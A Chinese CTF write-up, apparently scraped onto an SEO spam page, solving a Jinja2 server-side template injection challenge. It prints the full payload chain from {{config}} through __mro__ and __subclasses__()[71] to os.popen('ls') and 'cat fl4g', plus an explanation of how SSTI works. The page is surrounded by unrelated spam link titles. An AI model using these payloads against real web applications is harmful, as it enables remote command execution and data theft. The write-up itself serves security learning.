当前位置: 首页 > news >正文

手机个人简历模板下载网站模板360信息流广告平台

手机个人简历模板下载网站模板,360信息流广告平台,小企业做网站怎么做,建筑人才网一砖一瓦这是题目,从题目上看是一个python模板注入类型的题目。 首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}} 得到 说明存在模板注入漏洞,继续注入 构造http://61.147.171.105:57423/{{‘’.class.mro}}: 得到 再构造…

在这里插入图片描述
这是题目,从题目上看是一个python模板注入类型的题目。
首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}}
得到
在这里插入图片描述
说明存在模板注入漏洞,继续注入
构造http://61.147.171.105:57423/{{‘’.class.mro}}:
得到在这里插入图片描述
再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()}}:
在这里插入图片描述
编写脚本找到类索引,

text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"new_text = text.split(",")
index = 0
for i in new_text:index += 1
print(index - 1)  #数组索引从0开始

运行得到索引值为71,在这里插入图片描述
再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()}}
得到在这里插入图片描述
最后构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()}}
得到flag在这里插入图片描述
总结:本质上就是通过模板注入代码获取所需信息。

知识点:
1.SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。

SSTI漏洞利用基本流程
获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令.

SSTI漏洞原理
服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞.

实际上就是我们传到后台的数据会被后台获取数据并执行。本质上是后台代码解析前端传过来的数据的时候没有进行处理导致我们用{{}}传进来的恶意命令被动态渲染,从而产生了这样的问题。

class #返回type类型,查看对象的类型
bases #返回tuple类型,列出该类的基类
mro #返回tuple类型,给出解析方法调用的顺序
subclasses() #返回内建方法builtin_function_or_method,获取一个类的子类
globals #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
init 类的初始化方法
popen函数是用来执行系统命令的

http://www.yayakq.cn/news/43142/

相关文章:

  • 嘉兴网站建设外包公司教育网站制作哪家服务好
  • 网站备案管理系统网站免费功能网站
  • 免费表格模板网站在线音乐网站开发php
  • 境内境外网站区别汕头市企业网站建设服务机构
  • 网站建设制作流程网站制作jian she
  • dede网站名称不能中文鞍山哪里做网站
  • 甘肃自助建站系统怎么用企业管理培训课程名称
  • 邢台移动网站建设服务做网站还是做淘宝
  • 河北省住宅和城乡建设厅网站大气网站建设
  • 网站建设公司与维护做视频网站要什么格式好
  • 如何注销网站备案负责人网站设计的布局
  • 浙江交通工程建设集团网站济南网络运营公司
  • 网站图解图片是用什么软件做的dw做asp购物网站
  • 图书馆建设网站注意点外贸云网站建设
  • 找不到网站后台怎么办个人怎么注册一家公司
  • 物流百度推广怎么做网站免费软件app
  • 合肥网站建设公司排名网站开发php未来发展
  • 小米发布会在哪里看直播北京网站优化实战
  • 旅游药都网站建设方案网页设计与制作课程报告
  • 大连自助建站嵌入式培训学校
  • 企业自适应网站制作云营销网站建设电话咨询
  • 什么网站专做宠物物品网站seo诊断分析和优化方案
  • 网站开发工程师asp考试一台云服务器做多个网站
  • 公司网站制作公司网站建设进度表 免费下载
  • 做网站的虚拟机怎么用综合网页设计
  • sketch做网站可视化编辑建站平台
  • 网站建设创新互联公司北京中高风险地区名单
  • 企业网站建设软件需求分析邯郸市属于哪个省
  • 网站需要在哪些方面备案c .net怎么做网站
  • 济南产品网站建设外包网站制作 用户登录系统